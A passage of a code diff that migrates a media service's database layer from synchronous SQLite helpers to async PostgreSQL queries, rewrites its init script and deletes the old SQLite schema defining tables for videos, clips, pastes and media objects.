WHERE id = ?', [pasteId]);++async function likePaste(pasteId, userId) {++ await run('INSERT INTO paste_likes (paste_id, user_id) VALUES (?, ?) ON CONFLICT DO NOTHING', [pasteId, userId]);++ await run('UPDATE pastes SET likes = (SELECT COUNT(*) FROM paste_likes WHERE paste_id = ?) WHERE id = ?', [pasteId, pasteId]);++ return await get('SELECT likes FROM pastes WHERE id = ?', [pasteId]);}--function unlikePaste(pasteId, userId) {-- run('DELETE FROM paste_likes WHERE paste_id = ? AND user_id = ?', [pasteId, userId]);-- run('UPDATE pastes SET likes = (SELECT COUNT(*) FROM paste_likes WHERE paste_id = ?) WHERE id = ?', [pasteId, pasteId]);-- return get('SELECT likes FROM pastes WHERE id = ?', [pasteId]);++async function unlikePaste(pasteId, userId) {++ await run('DELETE FROM paste_likes WHERE paste_id = ? AND user_id = ?', [pasteId, userId]);++ await run('UPDATE pastes SET likes = (SELECT COUNT(*) FROM paste_likes WHERE paste_id = ?) WHERE id = ?', [pasteId, pasteId]);++ return await get('SELECT likes FROM pastes WHERE id = ?', [pasteId]);}--function hasUserLikedPaste(pasteId, userId) {-- return !!get('SELECT 1 FROM paste_likes WHERE paste_id = ? AND user_id = ?', [pasteId, userId]);++async function hasUserLikedPaste(pasteId, userId) {++ return !!await get('SELECT 1 FROM paste_likes WHERE paste_id = ? AND user_id = ?', [pasteId, userId]);}--function incrementPasteCopies(slug) {-- return run('UPDATE pastes SET copies = copies + 1 WHERE slug = ?', [slug]);++async function incrementPasteCopies(slug) {++ return await run('UPDATE pastes SET copies = copies + 1 WHERE slug = ?', [slug]);}--function countUserPastesToday(appId, userId, ip) {++async function countUserPastesToday(appId, userId, ip) {if (userId) {-- return get("SELECT COUNT(*) as c FROM pastes WHERE app_id = ? AND user_id = ? AND created_at > datetime('now', '-1 day')", [appId, userId])?.c || 0;++ return (await get("SELECT COUNT(*) as c FROM pastes WHERE app_id = ? AND user_id = ? AND created_at > datetime('now', '-1 day')", [appId, userId]))?.c || 0;}if (ip) {-- return get("SELECT COUNT(*) as c FROM pastes WHERE app_id = ? AND ip_address = ? AND created_at > datetime('now', '-1 day')", [appId, ip])?.c || 0;++ return (await get("SELECT COUNT(*) as c FROM pastes WHERE app_id = ? AND ip_address = ? AND created_at > datetime('now', '-1 day')", [appId, ip]))?.c || 0;}return 0;}--function getLastPasteTime(appId, userId, ip) {++async function getLastPasteTime(appId, userId, ip) {let row;if (userId) {-- row = get('SELECT created_at FROM pastes WHERE app_id = ? AND user_id = ? ORDER BY created_at DESC LIMIT 1', [appId, userId]);++ row = await get('SELECT created_at FROM pastes WHERE app_id = ? AND user_id = ? ORDER BY created_at DESC LIMIT 1', [appId, userId]);} else if (ip) {-- row = get('SELECT created_at FROM pastes WHERE app_id = ? AND ip_address = ? ORDER BY created_at DESC LIMIT 1', [appId, ip]);++ row = await get('SELECT created_at FROM pastes WHERE app_id = ? AND ip_address = ? ORDER BY created_at DESC LIMIT 1', [appId, ip]);}return row ? new Date(row.created_at + (row.created_at.includes('Z') ? '' : 'Z')).getTime() : 0;}/** App-scoped paste stats (predecessor's admin stats shape). */--function getPasteStats(appId) {-- const row = get(`++async function getPasteStats(appId) {++ const row = await get(`SELECT COUNT(*) AS total,-- SUM(CASE WHEN type = 'paste' THEN 1 ELSE 0 END) AS textPastes,++ SUM(CASE WHEN type = 'paste' THEN 1 ELSE 0 END) AS "textPastes",SUM(CASE WHEN type = 'screenshot' THEN 1 ELSE 0 END) AS screenshots,SUM(CASE WHEN forked_from IS NOT NULL THEN 1 ELSE 0 END) AS forks,-- COALESCE(SUM(views), 0) AS totalViews,-- COALESCE(SUM(copies), 0) AS totalCopies,-- COALESCE(SUM(likes), 0) AS totalLikes++ COALESCE(SUM(views), 0)::bigint AS "totalViews",++ COALESCE(SUM(copies), 0)::bigint AS "totalCopies",++ COALESCE(SUM(likes), 0)::bigint AS "totalLikes"FROM pastes WHERE app_id = ?`, [appId]) || {};return {@@@ -754,16 +593,16 @@ function getPasteStats(appId) {// ── Paste comment helpers ────────────────────────────────────--function createPasteComment({ paste_id, user_id, parent_id, anon_name, message, ip_address }) {-- return run(++async function createPasteComment({ paste_id, user_id, parent_id, anon_name, message, ip_address }) {++ return await run(`INSERT INTO paste_comments (paste_id, user_id, parent_id, anon_name, message, ip_address)-- VALUES (?, ?, ?, ?, ?, ?)`,++ VALUES (?, ?, ?, ?, ?, ?) RETURNING id`,[paste_id, user_id || null, parent_id || null, anon_name || null, message, ip_address || null]);}--function getPasteComments(pasteId, limit = 50, offset = 0) {-- return all(`++async function getPasteComments(pasteId, limit = 50, offset = 0) {++ return await all(`SELECT * FROM paste_commentsWHERE paste_id = ? AND is_deleted = 0 AND parent_id IS NULLORDER BY created_at DESC@@@ -771,28 +610,28 @@ function getPasteComments(pasteId, limit = 50, offset = 0) {`, [pasteId, limit, offset]);}--function getPasteCommentReplies(parentId) {-- return all(`++async function getPasteCommentReplies(parentId) {++ return await all(`SELECT * FROM paste_commentsWHERE parent_id = ? AND is_deleted = 0ORDER BY created_at ASC`, [parentId]);}--function getPasteCommentById(commentId) {-- return get('SELECT * FROM paste_comments WHERE id = ?', [commentId]);++async function getPasteCommentById(commentId) {++ return await get('SELECT * FROM paste_comments WHERE id = ?', [commentId]);}--function getPasteCommentCount(pasteId) {-- return get('SELECT COUNT(*) as count FROM paste_comments WHERE paste_id = ? AND is_deleted = 0', [pasteId])?.count || 0;++async function getPasteCommentCount(pasteId) {++ return (await get('SELECT COUNT(*) as count FROM paste_comments WHERE paste_id = ? AND is_deleted = 0', [pasteId]))?.count || 0;}--function deletePasteComment(commentId) {-- return run('UPDATE paste_comments SET is_deleted = 1, updated_at = CURRENT_TIMESTAMP WHERE id = ?', [commentId]);++async function deletePasteComment(commentId) {++ return await run('UPDATE paste_comments SET is_deleted = 1, updated_at = ov_now() WHERE id = ?', [commentId]);}--function getRecentPasteCommentsByIp(ip, seconds = 10) {-- return all(`++async function getRecentPasteCommentsByIp(ip, seconds = 10) {++ return await all(`SELECT * FROM paste_commentsWHERE ip_address = ? AND created_at > datetime('now', '-' || ? || ' seconds')ORDER BY created_at DESC@@@ -802,97 +641,66 @@ function getRecentPasteCommentsByIp(ip, seconds = 10) {// ── File helpers ─────────────────────────────────────────────// The row and its media_object in one transaction (the file is already on disk, sha256 computed by the route).--function createFile({ key, app_id, user_id, original_name, size, mime, sha256 }) {-- return withObject('file', key, () => run(++async function createFile({ key, app_id, user_id, original_name, size, mime, sha256 }) {++ return await withObject('file', key, async () => await run(`INSERT INTO files (key, app_id, user_id, original_name, size, mime, sha256)VALUES (?, ?, ?, ?, ?, ?, ?)`,[key, app_id, user_id || null, original_name || null, size || 0, mime || 'application/octet-stream', sha256 || null]));}--function getFileByKey(key, appId = null) {++async function getFileByKey(key, appId = null) {const clause = appId ? ' AND app_id = ?' : '';const params = appId ? [key, appId] : [key];-- return get(`SELECT * FROM files WHERE key = ?${clause}`, params);++ return await get(`SELECT * FROM files WHERE key = ?${clause}`, params);}// ── App assets (emotes / channel sounds) ─────────────────────--function upsertAsset({ app_id, kind, name, file_path, mime, user_id, username, channel_username, duration_seconds, meta }) {-- const info = run(`++async function upsertAsset({ app_id, kind, name, file_path, mime, user_id, username, channel_username, duration_seconds, meta }) {++ const info = await run(`INSERT INTO assets (app_id, kind, name, file_path, mime, user_id, username, channel_username, duration_seconds, meta_json)VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)ON CONFLICT(app_id, kind, name, channel_username) DO UPDATE SETfile_path = excluded.file_path, mime = excluded.mime,user_id = excluded.user_id, username = excluded.username,-- duration_seconds = excluded.duration_seconds, meta_json = excluded.meta_json`,++ duration_seconds = excluded.duration_seconds, meta_json = excluded.meta_json RETURNING id`,[app_id, kind, name, file_path, mime || 'application/octet-stream', user_id ?? null,username || '', channel_username || '', duration_seconds || 0, JSON.stringify(meta || {})]);-- return get('SELECT * FROM assets WHERE app_id = ? AND kind = ? AND name = ? AND channel_username = ?',++ return await get('SELECT * FROM assets WHERE app_id = ? AND kind = ? AND name = ? AND channel_username = ?',[app_id, kind, name, channel_username || '']);}--function getAssetById(id) { return get('SELECT * FROM assets WHERE id = ?', [id]); }--function listAssets(appId, { kind = null, limit = 100, offset = 0 } = {}) {++async function getAssetById(id) { return await get('SELECT * FROM assets WHERE id = ?', [id]); }++async function listAssets(appId, { kind = null, limit = 100, offset = 0 } = {}) {const conds = ['app_id = ?']; const params = [appId];if (kind) { conds.push('kind = ?'); params.push(kind); }params.push(limit, offset);-- return all(`SELECT * FROM assets WHERE ${conds.join(' AND ')} ORDER BY created_at DESC LIMIT ? OFFSET ?`, params);++ return await all(`SELECT * FROM assets WHERE ${conds.join(' AND ')} ORDER BY created_at DESC LIMIT ? OFFSET ?`, params);}--function countAssets(appId, { kind = null } = {}) {++async function countAssets(appId, { kind = null } = {}) {const conds = ['app_id = ?']; const params = [appId];if (kind) { conds.push('kind = ?'); params.push(kind); }-- return get(`SELECT COUNT(*) c FROM assets WHERE ${conds.join(' AND ')}`, params).c;++ return (await get(`SELECT COUNT(*) c FROM assets WHERE ${conds.join(' AND ')}`, params)).c;}--function deleteAsset(id) { return run('DELETE FROM assets WHERE id = ?', [id]); }++async function deleteAsset(id) { return await run('DELETE FROM assets WHERE id = ?', [id]); }--function listFiles(appId, { limit = 100, offset = 0 } = {}) {-- return all('SELECT * FROM files WHERE app_id = ? ORDER BY created_at DESC LIMIT ? OFFSET ?', [appId, limit, offset]);++async function listFiles(appId, { limit = 100, offset = 0 } = {}) {++ return await all('SELECT * FROM files WHERE app_id = ? ORDER BY created_at DESC LIMIT ? OFFSET ?', [appId, limit, offset]);}// The object is marked deleted by trg_files_object_deleted in the same statement.--function deleteFileRow(key) {-- return run('DELETE FROM files WHERE key = ?', [key]);++async function deleteFileRow(key) {++ return await run('DELETE FROM files WHERE key = ?', [key]);}--function appFilesBytes(appId) {-- return get('SELECT COALESCE(SUM(size), 0) AS bytes FROM files WHERE app_id = ?', [appId])?.bytes || 0;++async function appFilesBytes(appId) {++ return (await get('SELECT COALESCE(SUM(size), 0)::bigint AS bytes FROM files WHERE app_id = ?', [appId]))?.bytes || 0;}// ── Legacy import (cutover from the old streamer DB) ─────────--/**-- * Bulk-insert rows exported from the predecessor DB. Only columns present in-- * the destination table are used; missing ones take schema defaults; app_id is-- * backfilled. Row ids are preserved (INSERT OR IGNORE keeps re-runs idempotent).-- * Returns { inserted, skipped }. The one write path that is not object-first (the cutover-- * import): the boot backfill (objects/backfill.js, rows with no object_id) projects what it inserts.-- */--function importLegacyRows(table, rows, appId = 'live') {-- const allowed = new Set(['vods', 'clips', 'pastes', 'paste_likes', 'paste_comments', 'content_views', 'files']);-- if (!allowed.has(table)) throw new Error(`importLegacyRows: table ${table} not importable`);-- if (!Array.isArray(rows) || !rows.length) return { inserted: 0, skipped: 0 };---- const cols = getDb().prepare(`PRAGMA table_info(${table})`).all().map(c => c.name);-- const colSet = new Set(cols);-- const hasAppId = colSet.has('app_id');---- let inserted = 0, skipped = 0;-- const tx = getDb().transaction((batch) => {-- for (const raw of batch) {-- const row = { ...raw };-- if (hasAppId && row.app_id == null) row.app_id = appId;-- const keys = Object.keys(row).filter(k => colSet.has(k));-- if (!keys.length) { skipped++; continue; }-- const sql = `INSERT OR IGNORE INTO ${table} (${keys.join(', ')}) VALUES (${keys.map(() => '?').join(', ')})`;-- const res = getDb().prepare(sql).run(...keys.map(k => row[k]));-- if (res.changes > 0) inserted++; else skipped++;-- }-- });-- tx(rows);-- return { inserted, skipped };--}module.exports = {-- getDb, run, get, all, close, withObject, heldSql,++ openDb, initDb, getDb, setDb, MIGRATIONS, run, get, all, close, withObject, heldSql,getSetting, setSetting,// appshashApiKey, getApp, listApps, upsertApp, appAllowedOrigins, projectTenantId, ensureProjectTenant, isSandboxTenant,@@@ -913,5 +721,4 @@ module.exports = {// filescreateFile, getFileByKey, listFiles, deleteFileRow, appFilesBytes,// migration-- importLegacyRows,};@@@ -1,10 +1,13 @@/**-- * OpenVibe.Media — Database Initialization Script++ * OpenVibe.Media — Database Initialization Script: applies migrations/ (DATABASE_URL / DATABASE_DIRECT_URL, or the++ * embedded development PGlite database).* Run: npm run init-db*/const db = require('./database');--db.getDb();--console.log(`Database initialized at: ${require('../config').db.path}`);--db.close();--process.exit(0);++(async () => {++ await db.initDb();++ console.log('Database migrated.');++ await db.close();++ process.exit(0);++})().catch((err) => { console.error(`init-db failed: ${err.message}`); process.exit(1); });ddeleted file mode 100644@@@ -1,517 +0,0 @@----PRAGMA journal_mode = WAL;----CREATE TABLE IF NOT EXISTS apps (-- app_id TEXT PRIMARY KEY,-- name TEXT NOT NULL DEFAULT '',-- api_key_hash TEXT NOT NULL,-- webhook_url TEXT,-- webhook_secret TEXT,-- allowed_origins TEXT DEFAULT '[]', -- JSON array of origins for browser (user-JWT) calls-- quota_bytes INTEGER DEFAULT 0, -- files quota; 0 = unlimited-- created_at DATETIME DEFAULT CURRENT_TIMESTAMP--);----CREATE TABLE IF NOT EXISTS vods (-- id INTEGER PRIMARY KEY AUTOINCREMENT,-- app_id TEXT NOT NULL DEFAULT 'live',-- stream_id INTEGER,-- stream_key TEXT,-- managed_stream_id INTEGER, -- owning app's stream "slot" (list filter)-- user_id INTEGER,-- title TEXT,-- description TEXT DEFAULT '',-- file_path TEXT,-- thumbnail_url TEXT,-- master_file_path TEXT,-- file_size INTEGER DEFAULT 0,-- duration_seconds INTEGER DEFAULT 0,-- probe_duration_seconds REAL DEFAULT 0,-- duration_source TEXT, -- probe | remux | unknown: where duration_seconds came from (NULL: before it was recorded)-- probe_format_json TEXT DEFAULT '',-- health_status TEXT DEFAULT 'unknown',-- health_score INTEGER DEFAULT 0,-- health_issues_json TEXT DEFAULT '[]',-- last_health_scan_at DATETIME,-- quarantined_at DATETIME,-- is_public INTEGER DEFAULT 1,-- visibility TEXT DEFAULT 'public',-- is_recording INTEGER DEFAULT 0,-- clips_only INTEGER DEFAULT 0,-- view_count INTEGER DEFAULT 0,-- storage_tier TEXT DEFAULT 'hot', -- legacy column (pre object-store); kept for import-- storage_provider TEXT DEFAULT 'local',-- storage_key TEXT,-- last_accessed_at DATETIME,-- ai_overview TEXT, -- kept for import; Live owns AI generation-- ai_transcript TEXT,-- ai_analyzed_at DATETIME,-- meta_json TEXT DEFAULT '{}',-- object_id TEXT, -- media_objects.id (Wave 4 object model)-- created_at DATETIME DEFAULT CURRENT_TIMESTAMP--);--CREATE INDEX IF NOT EXISTS idx_vods_app ON vods(app_id, created_at DESC);--CREATE INDEX IF NOT EXISTS idx_vods_recording ON vods(is_recording);--CREATE INDEX IF NOT EXISTS idx_vods_provider ON vods(storage_provider);----CREATE TABLE IF NOT EXISTS clips (-- id INTEGER PRIMARY KEY AUTOINCREMENT,-- app_id TEXT NOT NULL DEFAULT 'live',-- vod_id INTEGER,-- stream_id INTEGER,-- user_id INTEGER,-- channel_user_id INTEGER, -- owner of the clipped channel/stream (list filter)-- title TEXT DEFAULT 'Untitled Clip',-- description TEXT DEFAULT '',-- file_path TEXT,-- thumbnail_url TEXT,-- start_time REAL NOT NULL DEFAULT 0,-- end_time REAL NOT NULL DEFAULT 0,-- duration_seconds REAL DEFAULT 0,-- is_public INTEGER DEFAULT 1,-- visibility TEXT DEFAULT 'public',-- status TEXT DEFAULT 'ready', -- processing | ready | failed (imports default ready)-- view_count INTEGER DEFAULT 0,-- auto_generated INTEGER DEFAULT 0,-- storage_provider TEXT DEFAULT 'local',-- storage_key TEXT,-- ai_overview TEXT,-- ai_transcript TEXT,-- ai_analyzed_at DATETIME,-- object_id TEXT, -- media_objects.id-- created_at DATETIME DEFAULT CURRENT_TIMESTAMP--);--CREATE INDEX IF NOT EXISTS idx_clips_app ON clips(app_id, created_at DESC);--CREATE INDEX IF NOT EXISTS idx_clips_vod ON clips(vod_id);--CREATE INDEX IF NOT EXISTS idx_clips_stream ON clips(stream_id);----CREATE TABLE IF NOT EXISTS content_views (-- id INTEGER PRIMARY KEY AUTOINCREMENT,-- content_type TEXT NOT NULL CHECK(content_type IN ('vod', 'clip')),-- content_id INTEGER NOT NULL,-- ip TEXT NOT NULL,-- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- UNIQUE(content_type, content_id, ip)--);--CREATE INDEX IF NOT EXISTS idx_content_views_lookup ON content_views(content_type, content_id);----CREATE TABLE IF NOT EXISTS pastes (-- id INTEGER PRIMARY KEY AUTOINCREMENT,-- app_id TEXT NOT NULL DEFAULT 'live',-- slug TEXT UNIQUE NOT NULL,-- user_id INTEGER,-- type TEXT DEFAULT 'paste' CHECK(type IN ('paste', 'screenshot')),-- title TEXT NOT NULL DEFAULT 'Untitled',-- content TEXT,-- language TEXT DEFAULT 'text',-- visibility TEXT DEFAULT 'public' CHECK(visibility IN ('public', 'unlisted', 'private')),-- stream_id INTEGER,-- screenshot_path TEXT,-- metadata TEXT,-- burn_after_read INTEGER DEFAULT 0,-- forked_from INTEGER,-- pinned INTEGER DEFAULT 0,-- views INTEGER DEFAULT 0,-- copies INTEGER DEFAULT 0,-- likes INTEGER DEFAULT 0,-- is_nsfw INTEGER DEFAULT 0,-- ip_address TEXT,-- ai_summary TEXT, -- kept for import; Live owns AI generation-- ai_tags TEXT,-- ai_analyzed_at DATETIME,-- object_id TEXT, -- media_objects.id of the screenshot/avatar bytes (text pastes have none)-- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- updated_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- FOREIGN KEY (forked_from) REFERENCES pastes(id) ON DELETE SET NULL--);--CREATE INDEX IF NOT EXISTS idx_pastes_slug ON pastes(slug);--CREATE INDEX IF NOT EXISTS idx_pastes_app ON pastes(app_id, created_at DESC);--CREATE INDEX IF NOT EXISTS idx_pastes_user ON pastes(user_id);--CREATE INDEX IF NOT EXISTS idx_pastes_visibility ON pastes(visibility);----CREATE TABLE IF NOT EXISTS paste_likes (-- paste_id INTEGER NOT NULL,-- user_id INTEGER NOT NULL,-- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- PRIMARY KEY (paste_id, user_id),-- FOREIGN KEY (paste_id) REFERENCES pastes(id) ON DELETE CASCADE--);----CREATE TABLE IF NOT EXISTS paste_comments (-- id INTEGER PRIMARY KEY AUTOINCREMENT,-- paste_id INTEGER NOT NULL,-- user_id INTEGER,-- parent_id INTEGER,-- anon_name TEXT,-- message TEXT NOT NULL,-- ip_address TEXT,-- is_deleted INTEGER DEFAULT 0,-- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- updated_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- FOREIGN KEY (paste_id) REFERENCES pastes(id) ON DELETE CASCADE,-- FOREIGN KEY (parent_id) REFERENCES paste_comments(id) ON DELETE CASCADE--);--CREATE INDEX IF NOT EXISTS idx_paste_comments_paste ON paste_comments(paste_id);--CREATE INDEX IF NOT EXISTS idx_paste_comments_ip ON paste_comments(ip_address);----CREATE TABLE IF NOT EXISTS files (-- key TEXT PRIMARY KEY,-- app_id TEXT NOT NULL DEFAULT 'live',-- user_id INTEGER,-- original_name TEXT,-- size INTEGER NOT NULL DEFAULT 0,-- mime TEXT DEFAULT 'application/octet-stream',-- sha256 TEXT,-- object_id TEXT, -- media_objects.id-- created_at DATETIME DEFAULT CURRENT_TIMESTAMP--);--CREATE INDEX IF NOT EXISTS idx_files_app ON files(app_id, created_at DESC);----CREATE TABLE IF NOT EXISTS media_settings (-- key TEXT PRIMARY KEY,-- value TEXT,-- description TEXT DEFAULT '',-- type TEXT DEFAULT 'string',-- updated_at DATETIME DEFAULT CURRENT_TIMESTAMP--);----CREATE TABLE IF NOT EXISTS assets (-- id INTEGER PRIMARY KEY AUTOINCREMENT,-- app_id TEXT NOT NULL DEFAULT 'live',-- kind TEXT NOT NULL, -- 'emote' | 'sound'-- name TEXT NOT NULL, -- emote code or !command-- file_path TEXT NOT NULL,-- mime TEXT DEFAULT 'application/octet-stream',-- user_id INTEGER, -- uploader (app-local id)-- username TEXT DEFAULT '', -- uploader name snapshot-- channel_username TEXT DEFAULT '', -- channel it belongs to-- duration_seconds REAL DEFAULT 0,-- meta_json TEXT DEFAULT '{}',-- created_at DATETIME DEFAULT CURRENT_TIMESTAMP--);--CREATE INDEX IF NOT EXISTS idx_assets_app_kind ON assets(app_id, kind, created_at DESC);--CREATE UNIQUE INDEX IF NOT EXISTS idx_assets_identity ON assets(app_id, kind, name, channel_username);----CREATE TABLE IF NOT EXISTS media_objects (-- id TEXT PRIMARY KEY, -- med_<ULID> (time-sortable)-- app_id TEXT NOT NULL, -- tenant-- namespace TEXT NOT NULL, -- a media_namespaces row: the tenant's root (app id, or app.<project_id>[.sandbox]) or a child of it-- kind TEXT NOT NULL CHECK(kind IN ('vod', 'clip', 'file', 'thumbnail', 'screenshot', 'avatar', 'asset')),-- owner_subject TEXT, -- canonical subject (usr_<ULID>) when known-- owner_app TEXT, -- legacy owner: the app whose user-id space owner_user_id is in-- owner_user_id INTEGER,-- visibility TEXT NOT NULL DEFAULT 'private' CHECK(visibility IN ('public', 'unlisted', 'private')),-- lifecycle_status TEXT NOT NULL DEFAULT 'uploading' CHECK(lifecycle_status IN ('uploading', 'ready', 'failed', 'archived', 'deleted')),-- mime_type TEXT,-- size_bytes INTEGER NOT NULL DEFAULT 0,-- content_hash TEXT, -- sha256 hex-- canonical_provider TEXT, -- local | b2 | r2-- canonical_key TEXT,-- legacy_ref TEXT UNIQUE, -- legacy:<app>:<kind>:<id> for projected rows; NULL = native v2 object-- metadata TEXT NOT NULL DEFAULT '{}',-- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- updated_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- deleted_at DATETIME--);--CREATE INDEX IF NOT EXISTS idx_media_objects_app ON media_objects(app_id, id);--CREATE INDEX IF NOT EXISTS idx_media_objects_kind ON media_objects(app_id, kind);--CREATE INDEX IF NOT EXISTS idx_media_objects_owner ON media_objects(owner_subject);--CREATE INDEX IF NOT EXISTS idx_media_objects_lifecycle ON media_objects(lifecycle_status);--CREATE INDEX IF NOT EXISTS idx_media_objects_namespace ON media_objects(app_id, namespace, lifecycle_status);----CREATE TABLE IF NOT EXISTS media_namespaces (-- namespace TEXT PRIMARY KEY,-- app_id TEXT NOT NULL, -- the tenant it belongs to (and whose quota it counts against)-- parent TEXT, -- NULL for a root-- owner TEXT NOT NULL, -- service:<app_id> (a first-party tenant) | project:<prj_…> (a developer project)-- policy TEXT NOT NULL DEFAULT '{}', -- JSON: kinds, visibilities, max_object_bytes, strict_verbs (children inherit)-- quota_bytes INTEGER,-- quota_objects INTEGER,-- used_bytes INTEGER NOT NULL DEFAULT 0,-- used_objects INTEGER NOT NULL DEFAULT 0,-- reserved_bytes INTEGER NOT NULL DEFAULT 0,-- reserved_objects INTEGER NOT NULL DEFAULT 0,-- reconciled_at DATETIME,-- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- updated_at DATETIME DEFAULT CURRENT_TIMESTAMP--);--CREATE INDEX IF NOT EXISTS idx_media_namespaces_app ON media_namespaces(app_id, namespace);----CREATE TABLE IF NOT EXISTS media_quota_reservations (-- object_id TEXT PRIMARY KEY,-- app_id TEXT NOT NULL,-- namespace TEXT NOT NULL,-- bytes INTEGER NOT NULL DEFAULT 0,-- expires_at DATETIME NOT NULL, -- the expiry sweep fails the upload after this (unless a multipart session is open)-- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- updated_at DATETIME DEFAULT CURRENT_TIMESTAMP--);--CREATE INDEX IF NOT EXISTS idx_media_quota_reservations_ns ON media_quota_reservations(app_id, namespace);--CREATE INDEX IF NOT EXISTS idx_media_quota_reservations_expiry ON media_quota_reservations(expires_at);----CREATE TABLE IF NOT EXISTS media_locations (-- id INTEGER PRIMARY KEY AUTOINCREMENT,-- object_id TEXT NOT NULL,-- provider TEXT NOT NULL CHECK(provider IN ('local', 'b2', 'r2')),-- bucket TEXT,-- key TEXT NOT NULL, -- absolute path for local, object key for b2/r2-- storage_class TEXT, -- hot (local) | cold (b2 canonical) | cache (r2)-- state TEXT NOT NULL DEFAULT 'pending' CHECK(state IN ('present', 'missing', 'pending', 'corrupt')),-- checksum TEXT,-- size_bytes INTEGER,-- verified_at DATETIME,-- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- updated_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- UNIQUE(object_id, provider)--);----CREATE TABLE IF NOT EXISTS media_relationships (-- id INTEGER PRIMARY KEY AUTOINCREMENT,-- from_object_id TEXT NOT NULL,-- relation TEXT NOT NULL, -- clip_of | thumbnail_of | derived_from | screenshot_of-- to_object_id TEXT NOT NULL,-- metadata TEXT NOT NULL DEFAULT '{}',-- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- UNIQUE(from_object_id, relation, to_object_id)--);--CREATE INDEX IF NOT EXISTS idx_media_relationships_to ON media_relationships(to_object_id, relation);----CREATE TABLE IF NOT EXISTS media_variants (-- id INTEGER PRIMARY KEY AUTOINCREMENT,-- object_id TEXT NOT NULL, -- the source object-- variant_name TEXT NOT NULL, -- thumbnail | 720p | waveform | …-- derived_object_id TEXT NOT NULL,-- recipe TEXT, -- how it was made (name@version)-- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- UNIQUE(object_id, variant_name)--);----CREATE TABLE IF NOT EXISTS media_jobs (-- id TEXT PRIMARY KEY, -- mjob_<ULID>-- app_id TEXT NOT NULL, -- the tenant that owns the job-- object_id TEXT, -- the object it works on (NULL for tenant-wide jobs: invariant.scan)-- job_type TEXT NOT NULL, -- thumbnail.regenerate | invariant.scan | object.split | object.remux-- status TEXT NOT NULL DEFAULT 'queued' CHECK(status IN ('proposed', 'queued', 'running', 'succeeded', 'failed', 'cancelled')),-- idempotency_key TEXT, -- unique per tenant: a repeat answers with the same job-- request_hash TEXT, -- sha256 of { type, object_id, params }: a different request under a used key is refused-- params TEXT NOT NULL DEFAULT '{}',-- result TEXT,-- attempts INTEGER NOT NULL DEFAULT 0,-- max_attempts INTEGER NOT NULL DEFAULT 3,-- run_after DATETIME, -- queued: not before (retry backoff)-- lease_until DATETIME, -- running: renewed while the worker holds the job-- lease_token TEXT, -- running: the claim's random fencing token; renew/checkpoint/succeed/fail must match it-- checkpoint TEXT, -- handler progress (JSON); a retry resumes from it-- error TEXT,-- error_code TEXT, -- stable code of the last failure (media_unavailable, quota_exceeded, …)-- cancel_requested INTEGER NOT NULL DEFAULT 0,-- created_by TEXT, -- svc:<id> | app:<app> | app:<app>:user:<id> | system:<what>-- owner_user_id INTEGER, -- the app's user it was created for (X-OV-User-Id), if any-- decided_by TEXT, -- who approved or rejected a proposal-- decided_at DATETIME,-- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- updated_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- started_at DATETIME,-- finished_at DATETIME--);--CREATE INDEX IF NOT EXISTS idx_media_jobs_status ON media_jobs(status, job_type);----CREATE TABLE IF NOT EXISTS media_uploads (-- id TEXT PRIMARY KEY, -- mup_<ULID>-- object_id TEXT NOT NULL,-- app_id TEXT NOT NULL,-- part_size INTEGER NOT NULL,-- total_size INTEGER NOT NULL,-- parts_expected INTEGER NOT NULL,-- status TEXT NOT NULL DEFAULT 'active' CHECK(status IN ('active', 'completing', 'completed', 'aborted', 'expired')),-- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- updated_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- expires_at DATETIME NOT NULL,-- completed_at DATETIME--);--CREATE INDEX IF NOT EXISTS idx_media_uploads_object ON media_uploads(object_id, status);--CREATE INDEX IF NOT EXISTS idx_media_uploads_expiry ON media_uploads(status, expires_at);----CREATE TABLE IF NOT EXISTS media_upload_parts (-- upload_id TEXT NOT NULL,-- part_number INTEGER NOT NULL, -- 1-based-- size_bytes INTEGER NOT NULL,-- sha256 TEXT NOT NULL,-- received_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- PRIMARY KEY (upload_id, part_number)--);----CREATE TABLE IF NOT EXISTS media_holds (-- id INTEGER PRIMARY KEY AUTOINCREMENT,-- object_id TEXT NOT NULL,-- kind TEXT NOT NULL CHECK(kind IN ('moderation', 'dmca', 'creator_pin', 'admin', 'evidence')),-- reason TEXT NOT NULL DEFAULT '',-- created_by TEXT,-- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- released_at DATETIME,-- released_by TEXT,-- note TEXT--);--CREATE INDEX IF NOT EXISTS idx_media_holds_object ON media_holds(object_id, released_at);----CREATE TABLE IF NOT EXISTS media_invariant_violations (-- id INTEGER PRIMARY KEY AUTOINCREMENT,-- object_id TEXT NOT NULL UNIQUE,-- level TEXT NOT NULL CHECK(level IN ('warn', 'violation')),-- size_bytes INTEGER NOT NULL,-- threshold_bytes INTEGER NOT NULL,-- detected_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- last_seen_at DATETIME DEFAULT CURRENT_TIMESTAMP,-- resolved_at DATETIME--);----CREATE TABLE IF NOT EXISTS media_tier_decisions (-- id INTEGER PRIMARY KEY AUTOINCREMENT,-- decided_at TEXT NOT NULL DEFAULT (strftime('%Y-%m-%dT%H:%M:%fZ', 'now')),-- vod_id INTEGER NOT NULL,-- app_id TEXT,-- object_id TEXT,-- action TEXT NOT NULL CHECK(action IN ('promote', 'demote')),-- from_provider TEXT,-- to_provider TEXT,-- outcome TEXT NOT NULL CHECK(outcome IN ('done', 'already', 'refused', 'failed')),-- trigger TEXT NOT NULL, -- sweep | admin | drill | clip | manual-- reason TEXT NOT NULL,-- inputs TEXT NOT NULL DEFAULT '{}', -- JSON: view_count, last_accessed_at, storage_provider, is_recording, 